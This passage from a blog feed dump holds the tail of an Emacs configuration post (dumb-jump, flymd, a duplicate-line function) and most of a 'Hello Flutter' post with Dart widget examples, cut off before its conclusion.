&lt;a href="https://github.com/jacktasia/dumb-jump/tree/260054500d4731c36574b6cbc519de29fdd22f43"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;dumb-jump&lt;/code&gt;&lt;/a&gt;
package to jump to definitions using &lt;code class="language-plaintext highlighter-rouge"&gt;C-M-g&lt;/code&gt;. Add this line to auto enable it
every time:&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;dumb-jump-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You can jump back to function call by &lt;code class="language-plaintext highlighter-rouge"&gt;C-M-p&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To find all the references of a function, priviously mentioned
project-wide search with &lt;code class="language-plaintext highlighter-rouge"&gt;projectile&lt;/code&gt; works well for me.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I use &lt;code class="language-plaintext highlighter-rouge"&gt;fymd&lt;/code&gt; package to real time markdown preview, with this
key binding:&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;f9&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'flymd-flyit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Most of the snippets on this page are taken from
&lt;a href="http://emacsrocks.com/"&gt;emacsrocks.com&lt;/a&gt;,
&lt;a href="http://whattheemacsd.com/"&gt;whattheemacsd.com&lt;/a&gt; and official
documentation of mentioned packages. Both of these resources are
great places to learn more about
Emacs. &lt;a href="https://github.com/krsoninikhil/dotfiles/tree/master/.emacs.d"&gt;Here&lt;/a&gt;
is my &lt;code class="language-plaintext highlighter-rouge"&gt;.emacs.d&lt;/code&gt; directory, if don’t feel like doing this all by yourself,
feel free to clone mine. I have all the &lt;code class="language-plaintext highlighter-rouge"&gt;defuns&lt;/code&gt; defined in
&lt;code class="language-plaintext highlighter-rouge"&gt;~/.emacs.d/user-lisp/defuns.el&lt;/code&gt; file which is imported in &lt;code class="language-plaintext highlighter-rouge"&gt;init.el&lt;/code&gt; by:&lt;/p&gt;

&lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-to-list&lt;/span&gt; &lt;span class="ss"&gt;'load-path&lt;/span&gt; &lt;span class="s"&gt;"~/.emacs.d/user-lisp"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="ss"&gt;'defuns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I keep all the references to these defuns in &lt;code class="language-plaintext highlighter-rouge"&gt;init.el&lt;/code&gt; so all the key
bindings remain in one file.&lt;/p&gt;

&lt;p&gt;I would highly appreciate any feedback you may have or to listen about
any other features you miss from your old editor and should be in this
list.&lt;/p&gt;

&lt;p&gt;[Edit]&lt;/p&gt;

&lt;p&gt;Code snippet for duplicating line (first point) has been updated with
current cleaner version suggested by &lt;a href="https://zge.us.to/"&gt;Philip K.&lt;/a&gt;,
earlier it was:&lt;/p&gt;

&lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt; &lt;span class="nv"&gt;duplicate-line&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;col&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;current-column&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;move-beginning-of-line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kill-line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;yank&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;newline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;yank&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;move-to-column&lt;/span&gt; &lt;span class="nv"&gt;col&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;– &lt;a href="https://twitter.com/krsoninikhil"&gt;@krsoninikhil&lt;/a&gt;&lt;/p&gt;</description><author>Nikhil Soni</author><pubDate>Sat, 15 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nikhilsoni.me/2018/12/15/easy-moving-from-vscode-to-emacs/</guid></item><item><title>Feliĉan Zamenhofan Tagon</title><link>https://martinrue.com/zamenhofa-tago-18/</link><description>Hey, it's Zamenhofa Tago, otherwise known as Esperanto Book Day. Read on to learn more about the international language and why it's so cool.</description><author>Martin Rue</author><pubDate>Sat, 15 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://martinrue.com/zamenhofa-tago-18/</guid></item><item><title>Waspr Project - Baby Steps</title><link>https://craftyduck.rocks/blog/waspr-en/03-baby-steps</link><description>Starting smaller</description><author>CraftyDuck.Rocks</author><pubDate>Sat, 15 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://craftyduck.rocks/blog/waspr-en/03-baby-steps</guid></item><item><title>Hello Flutter</title><link>https://whackylabs.com/flutter/app/cross-platform/2018/12/14/hello-flutter/</link><description>&lt;p&gt;Another weekend another tool. The tool for today is &lt;a href="https://flutter.io/"&gt;Flutter&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="why-flutter"&gt;Why Flutter?&lt;/h2&gt;

&lt;p&gt;I had known about Flutter for sometime now, but with the recent news of &lt;a href="https://developers.googleblog.com/2018/12/flutter-10-googles-portable-ui-toolkit.html"&gt;Flutter 1.0&lt;/a&gt; being out, I got curious about it one more time. Then, recently at work &lt;a href="https://github.com/LcTwisk"&gt;someone&lt;/a&gt; ignited my real interest by informing me that Flutter does its own rendering from scratch. I had to try it out.&lt;/p&gt;

&lt;p&gt;In the past, I used to wonder a lot that why is that when it comes to cross platform mobile developement, nobody has written a UIKit alternative from scratch or maybe on top of some existing widget library and make it work on all sort of mobile devices. I mean how hard could it be? Given that there are people writing game engines using OpenGL ES, Metal or Vulkan all the time, but why not a UI framework. And that is exactly what Flutter does.&lt;/p&gt;

&lt;p&gt;For me it was a love at first sight.&lt;/p&gt;

&lt;p&gt;I read a few articles on the official source to get a hang of it. To know more about the vision of the project. I knew this is a product from Google, so I wanted to be sure they’re not baised towards Android. When they’re investing in this tool, what are they getting out of it? Like my initial impression of Xamarin was that Microsoft wants developers to write cross platform apps with Xamarin, and also make a Windows mobile app as a side effect.&lt;/p&gt;

&lt;p&gt;But, so far with Flutter this does not seems to be the case, even though they demo a lot with Material designs which looks a lot like Android UI, but then Flutter comes with a rendering engine of its own, and one can render whatever they feel like. There is even a UIKit like widget library which they call as Cupertino.&lt;/p&gt;

&lt;p&gt;Then a few hours into making my first Flutter app it occured to me that maybe with Flutter the thing Google is selling is the Dart programming language. I think Google likes to see Dart as a lightweight programming language which is good for quickly iterating and building things as fast as possible. A good candidate for making web and mobile apps. And there is nothing wrong with that. From little experience I had with Dart, I found nothing unlikable about it. At least they did not pick Javascript.&lt;/p&gt;

&lt;p&gt;I know most of Game Engines ship a core engine written with a high performance system language like C or C++, and a high level language for writing the actual game, like Lua. Which is also what Flutter does, the core engine is written in C++ and Dart is used to then write the app.&lt;/p&gt;

&lt;h2 id="set-up"&gt;Set up&lt;/h2&gt;

&lt;p&gt;Whatever they say on the official instructions works out of the box. Although there are quite of bunch of things that have to be installed to get the thing running, but that is expected when installing a tool for cross platform development. The instructions come in 2 flavors, Android Studio and Visual Studio Code (again reflecting the fact that Google does not wants to be biased towards Android). I followed the instructions for Visual Studio Code and it just works.&lt;/p&gt;

&lt;h2 id="first-run"&gt;First run&lt;/h2&gt;

&lt;p&gt;Okay, even before I get to the part of running the app. I would like acknowledge the fact that how awesome is Visual Studio Code. This is the first time I’m actually using it for anything and I really like it.&lt;/p&gt;

&lt;p&gt;Being an iOS developer, I want to give iOS a try first. I created a new project and selected iPhone Simulator (which it magically discovered) And viola!&lt;/p&gt;

&lt;p&gt;&lt;img alt="Hello iOS" src="https://i.imgur.com/YnloK02.png" /&gt;&lt;/p&gt;

&lt;p&gt;Next, I lets give Android a run. But can’t find a way to run the app on Android emulator. The drop down shown only the iOS simulator. The &lt;a href="https://dartcode.org/docs/quickly-switching-between-flutter-devices/"&gt;faq section&lt;/a&gt; says this about switching the target device, but they do nothing:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;1. Clicking on the currently selected device in the status bar
2. Executing the Flutter: Change Device command
3. Pressing your custom key binding for the Flutter: Change Device command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then I discovered, if Flutter can not find an Android emulator, try running it manually by launching the &lt;code class="language-plaintext highlighter-rouge"&gt;Android Studio &amp;gt; Tool &amp;gt; AVD Manager &amp;gt; Run emulator&lt;/code&gt; and then the Android emulator is visible in the status bar.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Status bar" src="https://i.imgur.com/vMvGnYu.png" /&gt;&lt;/p&gt;

&lt;p&gt;And now I think, if the main target device is Android, then maybe it is wise to set up the IDE as Android Studio. Anyways, after that part is taken care of, the app runs perfectly on Android emulator as well!&lt;/p&gt;

&lt;p&gt;&lt;img alt="Hello Android" src="https://i.imgur.com/shXV1oG.png" /&gt;&lt;/p&gt;

&lt;h2 id="make-the-real-app"&gt;Make the real app&lt;/h2&gt;

&lt;p&gt;Now, since we have tested the tool and know for sure that the simulators are working perfectly, it’s time to dive a bit deeper and make a real app.&lt;/p&gt;

&lt;p&gt;As always, I’ll try to make the Photo app that I try to make every now and then, but probably not today. There seems to be a lot of things that I’ve to learn before I get to that stage. The first stage would be render a list of things and navigate to a details screen when a cell is tapped. But no real networking or concurrency for this stage. I’ll be following the google codelabs &lt;a href="https://codelabs.developers.google.com/codelabs/first-flutter-app-pt1/#0"&gt;part 1&lt;/a&gt; and &lt;a href="https://codelabs.developers.google.com/codelabs/first-flutter-app-pt2/#0"&gt;part 2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, everything in Flutter is a &lt;code class="language-plaintext highlighter-rouge"&gt;Widget&lt;/code&gt;, which is again very common pattern with Game Engines to have everything as a &lt;code class="language-plaintext highlighter-rouge"&gt;Node&lt;/code&gt; and each node implements a &lt;code class="language-plaintext highlighter-rouge"&gt;update()&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;render()&lt;/code&gt; functions which are then called by the engine whenever required. In case of Flutter, there is only one function that has to be implemented which is the &lt;code class="language-plaintext highlighter-rouge"&gt;build()&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Another concept at the core of Flutter is the react like philosopy, where data flows in one direction so every node or &lt;code class="language-plaintext highlighter-rouge"&gt;Widget&lt;/code&gt; is more or less a stateless entity. Think of it this way, in every UI systems like &lt;code class="language-plaintext highlighter-rouge"&gt;UIKit&lt;/code&gt; or every game engines, at the core there is this tree like data structure, some call it the &lt;a href="https://en.wikipedia.org/wiki/Scene_graph"&gt;scene graph&lt;/a&gt; other call it the &lt;a href="https://developer.apple.com/library/archive/documentation/WindowsViews/Conceptual/ViewPG_iPhoneOS/WindowsandViews/WindowsandViews.html"&gt;view hierarchy&lt;/a&gt;. And then there is is the infinite loop that traverses the tree and updates each node of the tree.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;SceneGraph&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rootNode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buildSceneGraph&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;Clock&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;Event&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isQuit&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; 
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nextEvent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;rootNode&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deltaTime&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tick&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So, traditionally each node in the tree had to maintain its own state, which has a tendency to getting messier over time. The &lt;a href="https://reactjs.org/docs/thinking-in-react.html"&gt;react philosophy&lt;/a&gt; is more like to not let direct access to nodes, but instead only provide the factory methods which takes in some model data and returns a new node. The tree is the internally managed by the system, and whenever the data changes the factory method would be called to build the new node.&lt;/p&gt;

&lt;p&gt;I’m personally a big fan of this philosophy. With this approach, one could freely optimize the tree manipulation as much as they like and on the other hand one could focus only on providing the factory methods. The only part that gets a bit messier is the animation which by definition can not be stateless.&lt;/p&gt;

&lt;p&gt;Coming back to Flutter, the &lt;code class="language-plaintext highlighter-rouge"&gt;build()&lt;/code&gt; function is like the factory method that uses some model data and makes a &lt;code class="language-plaintext highlighter-rouge"&gt;Widget&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Another nice thing about Flutter is that it comes its own package manager. You just have to define the dependencies in the &lt;code class="language-plaintext highlighter-rouge"&gt;pubspec.yaml&lt;/code&gt; and then simply run &lt;code class="language-plaintext highlighter-rouge"&gt;flutter package get&lt;/code&gt;. Nice!&lt;/p&gt;

&lt;p&gt;With all this basic understanding of the architecture, writing the first table view is pretty dead simple. I guess this piece of code is self explainatory:&lt;/p&gt;

&lt;div class="language-dart highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ListState&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Item&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Item&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;[];&lt;/span&gt;
  &lt;span class="n"&gt;Widget&lt;/span&gt; &lt;span class="n"&gt;_buildWidget&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;ListView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nl"&gt;padding:&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;EdgeInsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;16.0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
      &lt;span class="nl"&gt;itemBuilder:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildContext&lt;/span&gt; &lt;span class="n"&gt;_context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_needsMoreItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="n"&gt;_data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_getMoreItems&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_buildRow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="Table View" src="https://i.imgur.com/Z0qk8gP.png" /&gt;&lt;/p&gt;

&lt;p&gt;Since everything is a &lt;code class="language-plaintext highlighter-rouge"&gt;Widget&lt;/code&gt;, it is a piece of cake to add decorations to a &lt;code class="language-plaintext highlighter-rouge"&gt;Widget&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-dart highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;Icon&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;isSaved&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;Icons&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;favorite&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Icons&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;favorite_border&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;color:&lt;/span&gt; &lt;span class="n"&gt;isSaved&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;Colors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;red&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="Add hearts" src="https://i.imgur.com/ffno2SU.png" /&gt;&lt;/p&gt;

&lt;p&gt;Another interesting fact is that Flutter builds a Xcode project internally which one can simply open and run. And if one looks close enough, one can find that there is just a single &lt;code class="language-plaintext highlighter-rouge"&gt;UIView&lt;/code&gt; that renders everything.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Xcode" src="https://i.imgur.com/SBsNuK1.png" /&gt;&lt;/p&gt;

&lt;p&gt;One question I still had was how does the one maintains a state if required. For example, if say we want to react on a touch interaction we need to use the &lt;code class="language-plaintext highlighter-rouge"&gt;StatefulWidget&lt;/code&gt; which then comes with a &lt;code class="language-plaintext highlighter-rouge"&gt;createState()&lt;/code&gt; function that can provide access to some internal data store where we can read and write data like so:&lt;/p&gt;
&lt;div class="language-dart highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nl"&gt;onTap:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;setState&lt;/span&gt;&lt;span class="p"&gt;((){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isSaved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;_saved&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;_saved&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you think that is weird, see how the screen transitions are done:&lt;/p&gt;

&lt;div class="language-dart highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onDetails&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Navigator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MaterialPageRoute&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;(&lt;/span&gt;&lt;span class="nl"&gt;builder:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;Iterable&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ListTile&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tiles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_saved&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;WordPair&lt;/span&gt; &lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ListTile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;title:&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asPascalCase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;style:&lt;/span&gt; &lt;span class="n"&gt;_biggerFont&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;List&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Widget&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;ListTile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;divideTiles&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;context:&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;tiles:&lt;/span&gt; &lt;span class="n"&gt;tiles&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toList&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Scaffold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nl"&gt;appBar:&lt;/span&gt; &lt;span class="n"&gt;AppBar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;title:&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'Favorites'&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
        &lt;span class="nl"&gt;body:&lt;/span&gt; &lt;span class="n"&gt;ListView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;children:&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

